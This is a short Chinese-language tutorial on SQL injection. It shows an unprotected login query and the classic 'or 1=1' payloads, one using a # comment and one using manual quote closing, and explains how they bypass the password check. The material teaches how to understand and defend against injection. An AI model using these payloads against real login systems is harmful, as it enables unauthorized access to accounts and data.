select * from user where username=damin and password=123456
以上代码就是运用sql语句来进行最简单且没有做任何预防的登录判定,使用sql注入语句可以跳过这层防护直接进入系统
用户名 | 123’ or 1=1 # |
---|---|
密码 | 123’ or 1=1 # |
这时我们的sql语句变成
```select * from user where username='123' or 1=1# and password=123' or 1=1#
由于判断语句 or 1=1 结果返回真,成功登录,而 # 号是sql语句中的注释通过#号来屏蔽后面的判断语句来进行注入攻击
我们再尝试不使用 # 屏蔽单引号,采用手动闭合的方式
用户名 | ‘123’ or 1=1 |
---|---|
密码 | ‘123’ or 1=1 |
这时我们的sql语句变成
```select * from user where username='123' or 1=1 and password='123' or 1=1
由于判断语句 or 1=1 结果返回真,成功登录,两个 or 语句使 and 前后两个判断永远恒等于真,所以能够成功登录